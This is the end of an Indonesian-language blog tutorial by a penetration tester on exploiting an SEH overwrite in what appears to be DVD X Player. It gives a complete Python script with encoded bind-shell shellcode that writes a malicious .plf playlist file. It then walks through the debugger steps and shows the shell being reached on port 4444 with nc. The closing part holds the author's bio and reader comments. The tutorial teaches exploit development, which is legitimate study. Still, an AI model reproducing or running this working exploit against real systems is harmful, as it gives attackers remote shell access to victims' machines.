shellcode += b"\x81\x9c\xa7\xbd\x98\xac\x16\xbd\x0b\x7b\xa7"
shellcode += b"\xf5\x56\x7e\xd3\x58\x41\x80\x21\xf5\x47\x77"
shellcode += b"\xcc\x81\x76\x4c\x51\x0c\xbb\x32\x08\x81\x64"
shellcode += b"\x17\xa7\xac\xa4\x4e\xff\x92\x0b\x43\x67\x7f"
shellcode += b"\xd8\x53\x2d\x27\x0b\x4b\xa7\xf5\x50\xc6\x68"
shellcode += b"\xd0\xa4\x14\x77\x95\xd9\x15\x7d\x0b\x60\x10"
shellcode += b"\x73\xae\x0b\x5d\xc7\x79\xdd\x27\x1f\xc6\x80"
shellcode += b"\x4f\x44\x83\xf3\x7d\x73\xa0\xe8\x03\x5b\xd2"
shellcode += b"\x87\xb0\xf9\x4c\x10\x4e\x2c\xf4\xa9\x8b\x78"
shellcode += b"\xa4\xe8\x66\xac\x9f\x80\xb0\xf9\x9e\x88\x16"
shellcode += b"\x7c\x16\x7d\x0f\x7c\xb4\xd0\x27\xc6\xfb\x5f"
shellcode += b"\xaf\xd3\x21\x17\x27\x2e\xf4\x91\x13\xa5\x12"
shellcode += b"\xea\x5f\x7a\xa3\xe8\x8d\xf7\xc3\xe7\xb0\xf9"
shellcode += b"\xa3\xe8\xf8\xc5\xcc\x7f\xb0\xf9\xa3\xe8\x3b"
shellcode += b"\xc0\xcf\x61\xb0\xf9\xa3\x17\x27\x59\x9a\xcd"
shellcode += b"\x2e\xd3\x21\xe8\x2c\x41\x90\x80\xc6\xcf\xa3"
shellcode += b"\xd7\x18\x1d\x02\xea\x5d\x75\xa2\x62\xb2\x4a"
shellcode += b"\x33\xc4\x6b\x10\xf5\x81\xc2\x68\xd0\x90\x89"
shellcode += b"\x2c\xb0\xd4\x1f\x7a\xa2\xd6\x09\x7a\xba\xd6"
shellcode += b"\x19\x7f\xa2\xe8\x36\xe0\xcb\x06\xb0\xf9\x7d"
shellcode += b"\x60\x01\x7a\xb2\x7f\x7f\x44\xfc\x07\x52\x4c"
shellcode += b"\x0b\x55\xf4\xdc\x41\x22\x19\x44\x52\x15\xf2"
shellcode += b"\xb1\x0b\x55\x73\x2a\x88\x8a\xcf\xd7\x14\xf5"
shellcode += b"\x4a\x97\xb3\x93\x3d\x43\x9e\x80\x1c\xd3\x21"
file = 'sploit-5.plf'
buf = b'A' * 868
nseh = b'\xeb\x08\x90\x90'  #lompat sebanyak 8 bytes
seh = b'\x94\x04\x02\x64'   #0x64020494 pop edi  pop esi  ret MediaPlayerCtrl.dll
nops = b'\x90' * 16         #NOPsled
sisa = b'\xcc' * (5000 - len(buf+nseh+seh+shellcode))
payload = buf+nseh+seh+nops+shellcode+sisa
f = open(file,'wb')
print ("Payload size: %d" %len(payload))
f.write(payload)
print ("File",file, "successfully created")
f.close()

Pada baris ke-44 saya menambahkan NOPsled sebanyak 16 byte supaya ketika instruksi \xeb\x08\x90\x90 (Next SEH) tereksekusi dan lompat sebanyak 8 byte, proses eksekusi akan mendarat di NOPsled untuk memberi jeda sebelum mencapai shellcode. Kita ulangi proses dengan debugger, jangan lupa memasang breakpoint pada alamat SEH di 0x64020494. Picu penanganan kesalahan dengan Ctrl+Shift+F9 dan aliran proses akan mengarah ke POP POP RET. Ikuti prosesnya sampai ke Next SEH. Lalu lanjutkan dengan menekan F7 dan kita akan mendarat di NOPsled.

Proses eksekusi NOP menuju shellcode

Jika dari posisi NOPsled tersebut kita lanjutkan dengan menekan F9 (Run), maka port 4444 seharusnya akan muncul sebagai akibat payload shell_bind_tcp dari shellcode yang kita buat sebelumnya.

Port 4444 terbuka akibat payload shell_bind_tcp

Jika koneksikan ke port 4444 tersebut menggunakan nc, maka:

Koneksi ke port 4444 memberikan akses shell ke target

w00t! Kita berhasil membuat eksploit dengan cara menyiasati SEH.

Literatur tambahan

Jika ingin membaca lebih detail tentang SEH, berikut literatur tambahan yang dapat dibaca:

Referensi

modpr0be
modpr0be

Posisi saya saat ini sebagai direktur dan pemilik PT Spentera, sebuah perusahaan yang fokus dalam bidang penetration test, incident response, intrusion analysis and forensic investigation.

Saya juga berkontribusi untuk repositori eksploit Metasploit Framework sebagai pengembang kode eksploit. Saat ini memegang sertifikasi dari Offensive Security Certified Professional (OSCP), Offensive Security Certified Expert (OSCE), ISO/IEC ISMS 27001: 2013 Lead Auditor/Auditor, GIAC Certified Intrusion Analyst (GCIA), dan Offensive Security Exploitation Expert (OSEE).

Jika ingin menghubungi saya dapat melalui email bisnis di tom at spentera dot id atau pribadi di me at modpr0 dot be

Articles: 64

3 Comments

  1. Untuk program DVDXPlayer ini saya berhasil mendapatkan shell namun gagal untuk pop-up calculator, lalu saya menambahkan opsi EXITFUNC dengan value nya adalah thread namun calc.exe nya berjalan di background process. Btw thanks banget tulisannya pak, semoga sehat selalu. 🙂

    • Halo terima kasih batutahibnu17, untuk versi Windowsnya versi apakah? Mungkin ada bad characters yang belum teridentifikasi. Terima kasih juga mas, semoga kita semua sehat selalu 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.